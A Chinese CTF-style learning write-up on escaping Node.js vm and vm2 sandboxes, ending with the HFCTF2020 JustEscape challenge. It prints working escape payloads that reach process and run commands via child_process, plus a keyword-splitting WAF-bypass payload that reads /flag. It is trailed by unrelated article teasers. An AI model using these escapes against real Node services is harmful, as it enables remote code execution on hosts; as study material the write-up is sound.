node.js--vm沙箱逃逸初探

news2024/9/26 5:25:08

前言

前几天遇到一个考察vm沙箱逃逸的题目,由于这个点是第一次听说,所以就花时间了解了解什么是沙箱逃逸。此篇文章是对于自己初学vm沙箱逃逸的学习记录,若记录知识有误,欢迎师傅们指正。

什么是沙箱

就只针对于node.js而言,沙箱和docker容器其实是差不多的,都是将程序与程序之间,程序与主机之间互相分隔开,但是沙箱是为了隔离有害程序的,避免影响到主机环境。为什么node.js语言要引入沙箱,这就要说说js语言中的作用域(也叫上下文)。说一大堆概念不如贴一段代码来的实在:

const a = require("./a")

console.log(a.age)
//a.js:var age = 100;------->输出undefined
//-------------------------//
//a.js:var age = 100;exports.age = age;-------->输出100

若没有exports将需要的属性暴露出来,我们是访问不到另一个包内的属性的。包与包之间是互不相通的,也就是说每一个包都有自己的作用域。我们知道JavaScript的全局变量是window。其中所有的属性都是挂载到这个window下的,当然,node也有全局变量,是global。全局变量能在包间访问,换句话说,所有的包都挂载在全局变量下。node执行rce需要引入process对象进而导入child_process模块来执行命令。然而,process是挂载到global上的。为了防止恶意代码影响主机环境,所以就引入沙箱,开辟一个新的作用域来运行不信任的代码。相较于其他作用域,它阻止我们从内部直接访问global全局变量。此后的逃逸也是在这个点做文章。

vm模块的作用

引入vm模块就是为了创建一个沙箱运行环境。先看一段代码:

const util = require('util');
const vm = require('vm');
global.age = 3;
const sandbox = { age: 1 };
vm.createContext(sandbox);
vm.runInContext('age *= 2;', sandbox);
console.log(util.inspect(sandbox));
console.log(util.inspect(age));
//输出
//{ age: 2 }
//3

vm.createContext函数,创建一个沙箱对象,在全局变量global外又创建一个作用域。此时sandbox对象就是此作用域的全局变量。vm.runInContext函数,第一个参数是沙箱内要执行的代码,第二个是沙箱对象。还有一个函数,vm.runInNewContext,是creatContext和runInContext的结合版,传入要执行的代码和沙箱对象。根据代码输出,我们可以看出沙箱内是不能访问到global。

如何逃逸

上文也说明了node要执行命令的前提是访问到process对象。那么逃逸的主要思路就是怎么从外面的global全局变量中拿到process。vm模块是非常不严谨的,基于node原型链继承的特性,我们很容易就能拿到外部全局变量。看一段简单的逃逸代码:

"use strict";
const vm = require("vm");
const a = vm.runInNewContext(`this.constructor.constructor('return global')()`);
console.log(a.process);

运行结果为

很明显是逃逸出去了。如何做到的?这里的this是指向传递到runInNewContext函数的一个对象,他是不属于沙箱内部环境的,访问当前对象的构造器的构造器,也就是Function的构造器,由于继承关系,它的作用域是全局变量,执行代码,获取外部global。拿到process对象就可以执行命令了。继续看代码:

"use strict";
const vm = require("vm");
const a = vm.runInNewContext(`this.constructor.constructor('return process')()`);
console.log(a.mainModule.require('child_process').execSync('whoami').toString());

 执行结果:

console.log会执行node代码,从而调用构造器函数返回process对象导致rce。vm模块的隔离作用可以说非常的差了。所以开发者在此基础上加以完善,推出了vm2模块。那么vm2模块能否逃逸。

vm2相较于vm多了很多限制。其中之一就是引入了es6新增的proxy特性。增加一些规则来限制constructor函数以及___proto__这些属性的访问。proxy可以认为是代理拦截,编写一种机制对外部访问进行过滤或者改写。直接看文档中的例子,文档链接:ES6 入门教程

var proxy = new Proxy({}, {
  get: function(target, propKey) {
    return 35;
  }
});
proxy.time // 35
proxy.name // 35
proxy.title // 35

 vm2的版本一直都在更新迭代。github上许多历史版本的逃逸exp,附上链接:Issues · patriksimek/vm2 · GitHub,至于vm2的逃逸原理分析,直接看大牛的文章,写的非常nice,文章链接:vm2沙箱逃逸分析-安全客 - 安全资讯平台。接着做个题感受一下。

[HFCTF2020]JustEscape

题目代码:

<?php
if( array_key_exists( "code", $_GET ) && $_GET[ 'code' ] != NULL ) {
    $code = $_GET['code'];
    echo eval(code);
} else {
    highlight_file(__FILE__);
}
?>

题目中提示我们不是php,当然eval函数也不只有php有。测试eval是js语言的,可以输入Error().stack。它的作用是返回代码的部分信息。

了解到引入了vm2沙箱。GitHub上有师傅发的逃逸脚本可以直接打。附上链接:Breakout in v3.8.3 · Issue #225 · patriksimek/vm2 · GitHub。有两个exp都能打通。看一下第一个exp:

(' + function(){
	TypeError.prototype.get_process = f=>f.constructor("return process")();
	try{
		Object.preventExtensions(Buffer.from("")).a = 1;
	}catch(e){
		return e.get_process(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
	}
}+')()

网上找半天都没有详细解释代码,于是自己琢磨了一下。若分析有误,希望师傅们指正。先来看看Object.preventExtensions函数,让一个对象不能再添加一个新的属性。如果尝试添加新的属性,就会抛出typeError。

上面代码尝试添加a属性。导致异常就会抛出TypeError对象。这里进行了一个操作,污染了TypeError的原型。TypeError是外部的对象,这里将它的原型添加get_process属性,并且在此基础上调用构造器函数,此时它 的作用域就是global了。抛出的TypeError对象由e捕捉,访问get_process属性,从原型里拿,进而触发构造器函数,返回process对象执行命令。

则第二个exp有点像上文vm2原理分析的案例二。

(' + function(){
	try{
		Buffer.from(new Proxy({}, {
			getOwnPropertyDescriptor(){
				throw f=>f.constructor("return process")();
			}
		}));
	}catch(e){
		return e(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
	}
}+')()

创建一个代理,我猜测getOwnPropertyDescriptor函数用于Proxy第二个参数传递会发生异常。vm2内部抛出异常并捕获,然后vm2沙箱自己封装成一个对象再次抛出,被捕获,此时这个对象的作用域就变成了global,执行抛出的代码可以拿到process对象了。

截止目前,我们并不能做出这道题。因为还有waf过滤了许多关键词,这里就要用到一个点,利用js的模板文字绕过,直接看个例子就能明白。

把过滤掉的关键字都换成这种模板文字,最终payload为:

(function (){
    TypeError[`${`${`prototyp`}e`}`][`${`${`get_proces`}s`}`] = f=>f[`${`${`constructo`}r`}`](`${`${`return this.proces`}s`}`)();
    try{
        Object.preventExtensions(Buffer.from(``)).a = 1;
    }catch(e){
        return e[`${`${`get_proces`}s`}`](()=>{}).mainModule[`${`${`requir`}e`}`](`${`${`child_proces`}s`}`)[`${`${`exe`}cSync`}`](`cat /flag`).toString();
    }
})()

 打入payload即可获得flag。

结语

vm2版本一直在更新,而逃逸脚本也穷出不穷,而在去年也爆出了新的vm沙箱逃逸的cve。以后有时间继续琢磨沙箱逃逸脚本。此外贴上vm沙箱逃逸的优秀文章:

NodeJS VM和VM2沙箱逃逸 - 先知社区

nodejs vm/vm2沙箱逃逸分析 - zpchcbd - 博客园

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/140068.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

有关于huggingface tokenizer的text_pair

tokenizer有一个名为text pair的参数&#xff0c;这个参数在做NLI任务的时候很有用&#xff0c;因为输入不是一个single sentence&#xff0c;而是sentence pair。 但是这个参数的类型让人非常confused&#xff0c;而且同时还有一个text参数&#xff0c;让人不知道传入的sente…

Java-集合(2)

List集合 List接口是Collection接口的子接口 List集合类的元素是有序的&#xff08;添加顺序和取出顺序是一致的&#xff09;且可重复List集合类的每个元素都有对应的索引(和数组索引是一样的) List集合的常用方法 add(int index Object ele)&#xff1a;在index索引位置插…

软件供应链安全中:攻击面远超想象

| 软件供应链攻击3年飙升742% | 引人注目的软件供应链攻击正在上升。欧盟网络安全机构ENISA报告称&#xff0c;自2020年初以来&#xff0c;有组织的软件供应链攻击数量增加了4倍。Gartner认为&#xff0c;这一趋势将持续下去。在《软件工程领导者如何降低软件供应链安全风险》…

dubbo学习笔记1(小d课堂)

常见的dubbo项目分层&#xff1a; 搭建springbootdubbo环境 我们首先用idea创建一个maven项目&#xff1a; 我们把src删除&#xff0c;在里面创建module&#xff1a; 然后接下来我们就要去用springboot去整合dubbo。 我们可以去github上去搜索dubbo&#xff0c;会找到dubbo-s…

心理应激微反应刑事侦查应用,社交行为、情绪行为、生物行为,说谎掩饰,单向表达不分析,情绪反应管理机制,惊讶,厌恶,愤怒,恐惧,悲伤,愉悦

心理应激微反应刑事侦查应用&#xff0c;社交行为、情绪行为、生物行为&#xff0c;说谎掩饰&#xff0c;单向表达不分析&#xff0c;情绪反应管理机制&#xff0c;惊讶&#xff0c;厌恶&#xff0c;愤怒&#xff0c;恐惧&#xff0c;悲伤&#xff0c;愉悦 提示&#xff1a;系列…

【uni-app学习之日历组件】(calendar 底部可展开 折叠)

链接 效果图 代码块 <template><tmt-calendar defaultDate"2021-11-03" :point-list"[2022-03-20,2022-04-01,2022-04-02,2022-04-05]" :show"true" changeDate"changeDate"></tmt-calendar> </template>参…

【王道操作系统】4.1.1 初识文件管理概念和功能

初识文件管理概念和功能 文章目录初识文件管理概念和功能1.文件的属性2.文件内部的数据如何组织起来3.文件之间应该如何组织起来4.操作系统应该向上提供哪些功能5.从上往下看&#xff0c;文件应该如何存放在外存6.其他需要由操作系统实现的文件管理功能1.文件的属性 2.文件内部…

STM32——TIM编码器接口

文章目录一、编码器接口简介二、正交编码器三、通用定时器框图四、编码器接口基本结构五、工作模式六、实例&#xff08;均不反相&#xff09;七、实例&#xff08;TI1反相&#xff09;八、编码器接口测速电路设计关键代码一、编码器接口简介 Encoder Interface 编码器接口编码…

pycharm配置详解

配置解释器File-->setting-->Project&#xff1a;somename-->Project InterpreterPycharm下Python环境没有块注释"""something"""是文档&#xff0c;不是块注释Python中就没有块注释Pycharm版本控制配置Pycharm中的快捷键pycharm中自定…

手把手教你用springboot实现jdk文档搜索引擎

目录 项目背景 项目描述 项目整体架构 项目流程 构建索引 项目背景 搜索引擎是我们经常会用到的工具&#xff0c;例如我们熟知的百度&#xff0c;谷歌等搜索引擎。除了网络搜索引擎&#xff0c;还有很多地方也有搜索引擎的身影&#xff0c;例如视频网站的搜索框&#xff0c;…

Windows系统下使用mingw32编译curl-7.87.0办法

使用工具&#xff1a;Windows10QT5.14.2CMake (cmake-gui)curl-7.87.0 编译办法&#xff1a; 1、下载CURL源码&#xff1a;curl - Download&#xff0c;解压缩zip文件到指定路径下&#xff08;如&#xff1a;D:\QTCode\curl-7.87.0&#xff09; 2、新增环境变量&#xff0c;打…

为什么说IO密集型业务,线程数是CPU数的2倍?

I/O密集型业务&#xff0c;线程数量要设置成 CPU 的 2 倍&#xff01; 也不知道这是哪本书的坑爹理论&#xff0c;现在总有一些小青年老拿着这样的定理来说教。说的信誓旦旦&#xff0c;毋庸置疑&#xff0c;仿佛是权威的化身。讨论时把这样的理论当作前提&#xff0c;真的是受…

MySQL复制底层技术——单线程复制、DATABASE并行复制

1. 单线程复制 单线程复制是MySQL最早出现的主从复制技术&#xff0c;本节我们将对单线程复制做进一步说明。 在MySQL5.6之前的版本中&#xff0c;从库复制不支持多线程&#xff0c;所以当主库写压力稍微大一点时&#xff0c;从库就会出现复制延迟。当然&#xff0c;目前的最…

网络音频广播RtpCast软件

RtpCast是一款基于Windows平台运行的网络音频广播软件。这款RTPCast软件可以以目标分组的方式播放电脑系统声卡&#xff08;麦克风、喇叭和音频混合器&#xff09;、MP3文件列表和网络Rtp音频流等音源到终端设备。此外&#xff0c;RtpCast网络音频广播软件支持方案调度&#xf…

【区块链 | EVM】深入理解学习EVM - 深入Solidity数据位置:Calldata

深入了解Solidity数据位置 - Calldata 原文链接: https://betterprogramming.pub/solidity-tutorial-all-about-calldata-aebbe998a5fc理解Solidity中以太坊交易的 "data" 字段 这是 深入Solidity数据存储位置 系列的第三篇 今天,我们将学习 calldata 的特殊性,以…

springboot项目使用SchedulingConfigurer实现多个定时任务

目录一、引入依赖二、配置文件属性配置三、代码目录结构四、示例代码4.1、定义 定时任务基础接口4.2、定义 定时任务一&#xff08;每天几点几分执行&#xff09;4.3、定义 定时任务二&#xff08;每几分钟执行一次&#xff09;4.4、定义 定时任务注册器4.5、运行springboot项目…

欧拉系统部署NextCloud与常见部署问题解决

欧拉系统部署NextCloud与常见部署问题解决一、欧拉系统安装二、openEuler安装图形界面Ukui三、yum安装的npm包进行本地保存设置&#xff08;个人任务需要&#xff09;四、部署nextCloud4.1构建LAMP环境基础4.1.1开启httpd,防火墙端口号4.1.2开启MariaDB服务4.1.3安装并测试php4…

2023/1/4总结

今天AC了三个题目&#xff1a; 第一个题目&#xff1a;P4913 【深基16.例3】二叉树深度 (1条消息) P4913 【深基16.例3】二叉树深度_lxh0113的博客-CSDN博客 第二个题目&#xff1a;P1229 遍历问题 (1条消息) P1229 遍历问题_lxh0113的博客-CSDN博客 第三个题目&#xff1…

药品市场信息查询-药品数据库(全面)

药品市场信息包含了药品招标、药品投标、药品集采、药品销售数据&#xff08;医院、零售&#xff09;、药品海关进出口数据、药品交易&#xff08;药品license in/out&#xff09;、价格、一致性评价、政策法规、药品公司等多个方面的数据信息&#xff0c;是医药行业市场信息工…

双向循环链表的讲解及实现(图解+代码/C语言)

本次为大家分享的是双向循环链表的增删查改等系列操作。 目录 一、图解双向循环链表结构 二、分步实现 &#xff08;1&#xff09;创建并初始化 &#xff08;2&#xff09;链表元素打印 &#xff08;3&#xff09;头插和尾插 &#xff08;4&#xff09;判断链表为空 &a…